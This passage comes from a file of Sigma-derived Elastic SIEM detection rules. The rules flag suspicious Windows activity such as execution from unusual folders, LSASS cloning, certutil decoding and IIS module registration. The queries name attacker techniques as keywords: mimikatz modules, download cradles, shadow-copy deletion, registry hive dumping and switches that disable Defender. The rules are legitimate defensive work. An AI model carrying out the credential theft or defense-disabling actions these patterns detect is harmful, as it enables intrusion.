["Florian Roth"], "license": ""}
{"description": "Detects a suspicious execution from an uncommon folder", "author": ["Florian Roth", "Tim Shelton"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f2138e97-9771-ed9b-0cdc-ebd13ad82280", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution from Suspicious Folder", "query": "(((process.executable.text:(*\\\\$Recycle.bin\\\\* OR *\\\\config\\\\systemprofile\\\\* OR *\\\\Intel\\\\Logs\\\\* OR *\\\\RSA\\\\MachineKeys\\\\* OR *\\\\Users\\\\All\\ Users\\\\* OR *\\\\Users\\\\Default\\\\* OR *\\\\Users\\\\NetworkService\\\\* OR *\\\\Users\\\\Public\\\\* OR *\\\\Windows\\\\addins\\\\* OR *\\\\Windows\\\\debug\\\\* OR *\\\\Windows\\\\Fonts\\\\* OR *\\\\Windows\\\\Help\\\\* OR *\\\\Windows\\\\IME\\\\* OR *\\\\Windows\\\\Media\\\\* OR *\\\\Windows\\\\repair\\\\* OR *\\\\Windows\\\\security\\\\* OR *\\\\Windows\\\\System32\\\\Tasks\\\\* OR *\\\\Windows\\\\Tasks\\\\*)) OR (process.executable.text:C\\:\\\\Perflogs\\\\*)) AND (NOT ((process.executable.text:C\\:\\\\Users\\\\Public\\\\IBM\\\\ClientSolutions\\\\Start_Programs\\\\*) OR ((process.executable.text:C\\:\\\\Windows\\\\SysWOW64\\\\config\\\\systemprofile\\\\Citrix\\\\UpdaterBinaries\\\\* AND process.executable.text:*\\\\CitrixReceiverUpdater.exe)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a suspicious execution of csc.exe, which uses a source in a suspicious folder (e.g. AppData)", "enabled": false, "false_positives": ["Legitimate software from program files - ", "Legitimate Microsoft software - "], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b2d381dc-e55d-21a6-9f9e-c4daa11522dc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Csc.exe Source File Folder", "query": "((process.executable.text:*\\\\csc.exe AND process.command_line.text:(*\\\\AppData\\\\* OR *\\\\Windows\\\\Temp\\\\*)) AND (NOT (process.parent.executable.text:C\\:\\\\Program\\ Files* OR process.parent.executable.text:(*\\\\sdiagnhost.exe OR *\\\\w3wp.exe OR *\\\\choco.exe) OR process.parent.command_line.text:*\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\ Advanced\\ Threat\\ Protection*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "113c1786-d2a7-6c7c-1b4e-e42ad47d610d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious IIS Module Registration", "query": "(process.parent.executable.text:*\\\\w3wp.exe AND (process.command_line.text:*appcmd.exe\\ add\\ module* OR (process.command_line.text:*\\ system.enterpriseservices.internal.publish* AND process.executable.text:*\\\\powershell.exe) OR process.command_line.text:*\\ \\\\gacutil.exe\\ \\/I*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "Microsoft (idea)"], "license": ""}
{"description": "Detects a suspicious LSASS process process clone that could be a sign of process dumping activity", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d441af95-773c-40b0-e2fa-cc5734e2dd76", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Suspicious LSASS Process Clone", "query": "(process.executable:*\\\\Windows\\\\System32\\\\lsass.exe AND process.parent.executable:*\\\\Windows\\\\System32\\\\lsass.exe)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Samir Bousseaden"], "license": ""}
{"description": "Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f01daeae-a3d1-a72c-cc94-7fe46ea8ceb7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Certutil Command Usage", "query": "((process.executable.text:*\\\\certutil.exe OR winlog.event_data.OriginalFileName:\"CertUtil.exe\") AND process.command_line.text:(*\\ \\-decode\\ * OR *\\ \\-decodehex\\ * OR *\\ \\-urlcache\\ * OR *\\ \\-verifyctl\\ * OR *\\ \\-encode\\ * OR *\\ \\-exportPFX\\ * OR *\\ \\/decode\\ * OR *\\ \\/decodehex\\ * OR *\\ \\/urlcache\\ * OR *\\ \\/verifyctl\\ * OR *\\ \\/encode\\ * OR *\\ \\/exportPFX\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1105", "T1140"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1140", "name": "Deobfuscate/Decode Files or Information", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "juju4", "keepwatch"], "license": ""}
{"description": "Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d643d211-2870-e094-7255-cd81ca9bf5f5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Desktopimgdownldr Command", "query": "((process.command_line:*\\ \\/lockscreenurl\\:* AND (NOT (process.command_line:(*.jpg* OR *.jpeg* OR *.png*)))) OR (process.command_line:*reg\\ delete* AND process.command_line:*\\\\PersonalizationCSP*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ac40c4b3-9bc3-81d1-29f3-753ceac3957e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Desktopimgdownldr Target File", "query": "(((process.executable:*\\\\svchost.exe AND file.path:*\\\\Personalization\\\\LockScreenImage\\\\*) AND (NOT (file.path:*C\\:\\\\Windows\\\\*))) AND (NOT (file.path:(*.jpg* OR *.jpeg* OR *.png*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "53e4fa5c-1b11-a6cd-eae1-05110c13f4bb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Redirection to Local Admin Share", "query": "(process.command_line.text:*>* AND (*\\\\\\\\127.0.0.1\\\\admin$\\\\* OR *\\\\\\\\localhost\\\\admin$\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious parent of csc.exe, which could by a sign of payload delivery", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "de5c0b15-b6fd-4789-9f25-54eb8fa6b6dd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Parent of Csc.exe", "query": "(process.executable:*\\\\csc.exe AND process.parent.executable:(*\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\mshta.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059", "T1059", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious parents of powershell.exe process", "author": ["Teymur Kheirkhabarov", "Harish Segar (rule)"], "enabled": false, "false_positives": ["Other scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e899435c-ff0a-6893-0f71-c2bd114da6d4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Parent Process", "query": "(((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe)) OR (process.command_line.text:(*\\/c\\ powershell* OR *\\/c\\ pwsh*)) OR (winlog.event_data.Description:\"Windows PowerShell\") OR (Product:\"PowerShell Core 6\") OR (winlog.event_data.OriginalFileName:(\"PowerShell.EXE\" OR \"pwsh.dll\"))) AND ((process.parent.executable.text:(*\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\regsvr32.exe OR *\\\\services.exe OR *\\\\winword.exe OR *\\\\wmiprvse.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\msaccess.exe OR *\\\\mspub.exe OR *\\\\visio.exe OR *\\\\outlook.exe OR *\\\\amigo.exe OR *\\\\chrome.exe OR *\\\\firefox.exe OR *\\\\iexplore.exe OR *\\\\microsoftedgecp.exe OR *\\\\microsoftedge.exe OR *\\\\browser.exe OR *\\\\vivaldi.exe OR *\\\\safari.exe OR *\\\\sqlagent.exe OR *\\\\sqlserver.exe OR *\\\\sqlservr.exe OR *\\\\w3wp.exe OR *\\\\httpd.exe OR *\\\\nginx.exe OR *\\\\php\\-cgi.exe OR *\\\\jbosssvc.exe OR *\\\\MicrosoftEdgeSH.exe)) OR (process.parent.executable.text:*tomcat*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a suspicious printer driver installation with an empty Manufacturer value", "enabled": false, "false_positives": ["Alerts on legitimate printer drivers that do not set any more details in the Manufacturer value"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c09d2d66-a96b-fdf1-8c18-cb584b6e31b0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Printer Driver Empty Manufacturer", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Control\\\\Print\\\\Environments\\\\Windows\\ x64\\\\Drivers* AND winlog.event_data.TargetObject:*\\\\Manufacturer* AND winlog.event_data.Details:\"\$Empty\$\") AND (NOT ((winlog.event_data.TargetObject:*\\\\CutePDF\\ Writer\\ v4.0\\\\*) OR (winlog.event_data.TargetObject:(*\\\\VNC\\ Printer\\ \$PS\$\\\\* OR *\\\\VNC\\ Printer\\ \$UD\$\\\\*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2f0271bc-d3d8-78d2-602d-7c44c84b6ad0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WhoAmI as Parameter", "query": "process.command_line:*.exe\\ whoami*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1033"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)", "enabled": false, "false_positives": ["Administrative activity", "Scripts and administrative tools used in the monitored environment", "Monitoring activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "af255999-124e-2ea9-8fe1-15d5da644c28", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious SYSTEM User Process Creation", "query": "(((IntegrityLevel:\"System\" AND user.name:(*AUTHORI* OR *AUTORI*)) AND (process.executable.text:(*\\\\calc.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\hh.exe OR *\\\\mshta.exe OR *\\\\forfiles.exe OR *\\\\ping.exe) OR process.command_line.text:(*\\ \\-NoP\\ * OR *\\ \\-W\\ Hidden\\ * OR *\\ \\-decode\\ * OR *\\ \\/decode\\ * OR *\\ \\/urlcache\\ * OR *\\ \\-urlcache\\ * OR *\\ \\-e*\\ JAB* OR *\\ \\-e*\\ SUVYI* OR *\\ \\-e*\\ SQBFAFgA* OR *\\ \\-e*\\ aWV4I* OR *\\ \\-e*\\ IAB* OR *\\ \\-e*\\ PAA* OR *\\ \\-e*\\ aQBlAHgA* OR *vssadmin\\ delete\\ shadows* OR *reg\\ SAVE\\ HKLM* OR *\\ \\-ma\\ * OR *Microsoft\\\\Windows\\\\CurrentVersion\\\\Run* OR *.downloadstring\\(* OR *.downloadfile\\(* OR *\\ \\/ticket\\:* OR *dpapi\\:\\:* OR *event\\:\\:clear* OR *event\\:\\:drop* OR *id\\:\\:modify* OR *kerberos\\:\\:* OR *lsadump\\:\\:* OR *misc\\:\\:* OR *privilege\\:\\:* OR *rpc\\:\\:* OR *sekurlsa\\:\\:* OR *sid\\:\\:* OR *token\\:\\:* OR *vault\\:\\:cred* OR *vault\\:\\:list* OR *\\ p\\:\\:d\\ * OR *;iex\\(* OR *MiniDump* OR *net\\ user\\ *))) AND (NOT ((process.command_line.text:\"ping\\ 127.0.0.1\\ \\-n\\ 5\") OR (process.executable.text:*\\\\PING.EXE AND process.parent.command_line.text:*\\\\DismFoDInstall.cmd*) OR (process.parent.executable.text:C\\:\\\\Packages\\\\Plugins\\\\Microsoft.GuestConfiguration.ConfigurationforWindows\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "David ANDRE (additional keywords)"], "license": ""}
{"description": "Detects a suspicious process pattern found in CVE-2021-40444 exploitation", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c32f0dd5-5832-1040-5582-d69407c9abdf", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2021-40444 Process Pattern", "query": "((process.executable:*\\\\control.exe AND process.parent.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe)) AND (NOT (process.command_line:(*\\\\control.exe\\ input.dll OR *\\\\control.exe\\\"\\ input.dll))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["@neonprimetime", "Florian Roth"], "license": ""}
{"description": "Detects a suspicious process pattern which could be a sign of an exploited Serv-U service", "enabled": false, "false_positives": ["Legitimate uses in which users or programs use the SSH service of Serv-U for remote command execution"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c49a537a-58f9-d4a2-801f-5f1b8afd6bcf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Serv-U Process Pattern", "query": "(process.parent.executable:*\\\\Serv\\-U.exe AND process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\schtasks.exe OR *\\\\regsvr32.exe OR *\\\\wmic.exe OR *\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\msiexec.exe OR *\\\\forfiles.exe OR *\\\\scriptrunner.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1555"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1555", "name": "Credentials from Password Stores", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious program execution in a web service root folder (filter out false positives)", "enabled": false, "false_positives": ["Various applications", "Tools that include ping or nslookup command invocations"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "54c68e25-45ab-9090-78ee-b8abf846a19e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Execution in Webserver Root Folder", "query": "(process.executable:(*\\\\wwwroot\\\\* OR *\\\\wmpub\\\\* OR *\\\\htdocs\\\\*) AND (NOT (process.executable:(*bin\\\\* OR *\\\\Tools\\\\* OR *\\\\SMSComponent\\\\*) AND process.parent.executable:*\\\\services.exe)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious program execution in Outlook temp folder", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bc8c29af-895a-e653-e349-525f7a44b2a1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution in Outlook Temp Folder", "query": "process.executable.text:*\\\\Temporary\\ Internet\\ Files\\\\Content.Outlook\\\\*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious RDP session redirect using tscon.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a0f91a01-490c-4a3a-fe7b-00df4b685a0f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious RDP Redirect Using TSCON", "query": "process.command_line:*\\ \\/dest\\:rdp\\-tcp\\:*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021", "T1563"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}, {"id": "T1563", "name": "Remote Service Session Hijacking", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious reg.exe invocation that looks as if it would disable an important security service", "enabled": false, "false_positives": ["Unknown", "Other security solution installers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a372f3bc-ff8d-0cbe-1253-3d9cc84e7803", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Reg Disable Security Service", "query": "((process.command_line:*reg* AND process.command_line:*add*) AND ((process.command_line:*\\ \\/d\\ 4* AND process.command_line:*\\ \\/v\\ Start* AND process.command_line:(*\\\\Sense* OR *\\\\WinDefend* OR *\\\\MsMpSvc* OR *\\\\NisSrv* OR *\\\\WdBoot* OR *\\\\WdNisDrv* OR *\\\\WdNisSvc* OR *\\\\wscsvc* OR *\\\\SecurityHealthService* OR *\\\\wuauserv* OR *\\\\UsoSvc* OR *\\\\WdFilter* OR *\\\\AppIDSvc*)) OR (process.command_line:*\\ \\/d\\ 1* AND process.command_line:*Windows\\ Defender* AND process.command_line:(*DisableIOAVProtection* OR *DisableOnAccessProtection* OR *DisableRoutinelyTakingAction* OR *DisableScanOnRealtimeEnable* OR *DisableBlockAtFirstSeen* OR *DisableBehaviorMonitoring* OR *DisableEnhancedNotifications* OR *DisableAntiSpyware* OR *DisableAntiSpywareRealtimeProtection* OR *DisableConfig* OR *DisablePrivacyMode* OR *SignatureDisableUpdateOnStartupWithoutEngine* OR *DisableArchiveScanning* OR *DisableIntrusionPreventionSystem* OR *DisableScriptScanning*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "John Lambert (idea)", "elhoim"], "license": ""}
{"description": "Detects a suspicious script executions from temporary folder", "enabled": false, "false_positives": ["Administrative scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d645772a-2a7d-dad8-4a8a-6d2e0169ea8e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Script Execution From Temp Folder", "query": "((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\mshta.exe OR *\\\\wscript.exe OR *\\\\cscript.exe) AND process.command_line.text:(*\\\\Windows\\\\Temp* OR *\\\\Temporary\\ Internet* OR *\\\\AppData\\\\Local\\\\Temp* OR *\\\\AppData\\\\Roaming\\\\Temp* OR *%TEMP%* OR *%TMP%* OR *%LocalAppData%\\\\Temp*)) AND (NOT (process.command_line.text:(*\\ >* OR *Out\\-File* OR *ConvertTo\\-Json* OR *\\-WindowStyle\\ hidden\\ \\-Verb\\ runAs* OR *\\\\Windows\\\\system32\\\\config\\\\systemprofile\\\\AppData\\\\Local\\\\Temp\\\\Amazon\\\\EC2\\-Windows\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Max Altgelt", "Tim Shelton"], "license": ""}
{"description": "Detects a suspicious script executions in temporary folders or folders accessible by environment variables", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3b288aa8-106d-568e-f3d5-5c152d73b378", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Script Interpreter Execution From Suspicious Folder", "query": "((process.executable:(*\\\\powershell.exe OR *\\\\mshta.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\cmd.exe) OR process.command_line:(*\\ \\-w\\ hidden\\ * OR *\\ \\-ep\\ bypass\\ * OR *\\/e\\:vbscript\\ * OR *\\/e\\:javascript\\ *) OR winlog.event_data.OriginalFileName:(\"powershell.exe\" OR \"mshta.exe\" OR \"wscript.exe\" OR \"cscript.exe\" OR \"cmd.exe\")) AND process.executable:(*\\\\Windows\\\\Temp* OR *\\\\Temporary\\ Internet* OR *\\\\AppData\\\\Local\\\\Temp* OR *\\\\AppData\\\\Roaming\\\\Temp* OR *C\\:\\\\Users\\\\Public\\\\* OR *C\\:\\\\Perflogs\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious svchost process start", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8ab320a3-8c18-b525-ec9e-9852035b6284", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Svchost Process", "query": "(process.executable:*\\\\svchost.exe AND (NOT ((process.parent.executable:(*\\\\services.exe OR *\\\\MsMpEng.exe OR *\\\\Mrt.exe OR *\\\\rpcnet.exe OR *\\\\ngen.exe OR *\\\\TiWorker.exe)) OR (NOT _exists_:process.parent.executable) OR (process.parent.executable:\"\") OR (process.parent.executable:\"\\-\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious winrar execution in a folder which is not the default installation folder", "enabled": false, "false_positives": ["Legitimate use of WinRAR in a folder of a software that bundles WinRAR"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d1347ab9-6ba4-3f01-b209-96ae2fb6c0c4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Winrar Execution in Non-Standard Folder", "query": "((process.executable:(*\\\\rar.exe OR *\\\\winrar.exe) OR winlog.event_data.Description:\"Command\\ line\\ RAR\") AND (NOT (process.executable:(*\\\\WinRAR* OR *C\\:\\\\Windows\\\\Temp* OR *\\\\UnRAR.exe*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1560"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1560", "name": "Archive Collected Data", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Tigzy"], "license": ""}
